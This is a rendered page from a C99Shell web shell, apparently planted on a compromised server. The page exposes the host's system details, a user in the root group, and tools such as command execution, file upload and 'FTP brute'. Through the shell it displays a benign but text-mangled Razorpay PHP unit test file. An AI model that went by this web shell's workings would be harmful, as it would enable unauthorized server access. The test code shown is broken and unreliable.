!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/school.picotech.app/public_html/vendor/razorpay/razorpay/tests/   drwxr-xr-x
Free 29.45 GB of 117.98 GB (24.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ItemTest.php (2.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Razorpay\Tests;

use 
Razorpay\Api\Request;

class 
ItemTest extends TestCase
{
    public function 
setUp(): void
    
{
        
parent::setUp();
    }
    
    
/**
     * Create item
     */
    
public function testcreate()
    {
        
$data $this->api->Item->create(array(
            
"name" => "Book / English August",
            
"description" => "An indian story, Booker prize winner.",
            
"amount" => 20000,
            
"currency" => "INR"
        
));

        
$this->assertTrue(is_array($data->toArray()));

        
$this->assertTrue(in_array('id',$data->toArray()));
    }

    
/**
     * Fetch all orders
     */
    
public function testAllItems()
    {
        
$data $this->api->Item->all();

        
$this->assertTrue(is_array($data->toArray()));

        
$this->assertTrue(is_array($data['items']));
    }
    
    
/**
     * Fetch particular item
     */
    
public function testfetchItem()
    {
        
$item $this->api->Item->create(array(
            
"name" => "Book / English August",
            
"description" => "An indian story, Booker prize winner.",
            
"amount" => 20000,
            
"currency" => "INR"
        
));

        
$data $this->api->Item->fetch($item->id);

        
$this->assertTrue(is_array($data->toArray()));

        
$this->assertTrue(in_array($item->id$data->toArray()));
    }
    
    
/**
     * Update item
     */
    
public function testUpdate()
    {
        
$item $this->api->Item->create(array(
            
"name" => "Book / English August",
            
"description" => "An indian story, Booker prize winner.",
            
"amount" => 20000,
            
"currency" => "INR"
        
));

        
$data $this->api->Item->fetch($item->id)->edit(array(
            
"name" => "Book / English August",
            
"description" => "An indian story, Booker prize winner.",
            
"amount" => 20000,
            
"currency" => "INR"
        
));

        
$this->assertTrue(is_array($data->toArray()));

    }

    
/**
     * Delete item
     */
    
public function testDelete()
    {
        
$item $this->api->Item->create(array(
            
"name" => "Book / English August",
            
"description" => "An indian story, Booker prize winner.",
            
"amount" => 20000,
            
"currency" => "INR"
        
));

        
$data $this->api->Item->fetch($item->id)->delete();

        
$this->assertTrue(is_array($data->toArray()));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0588 ]--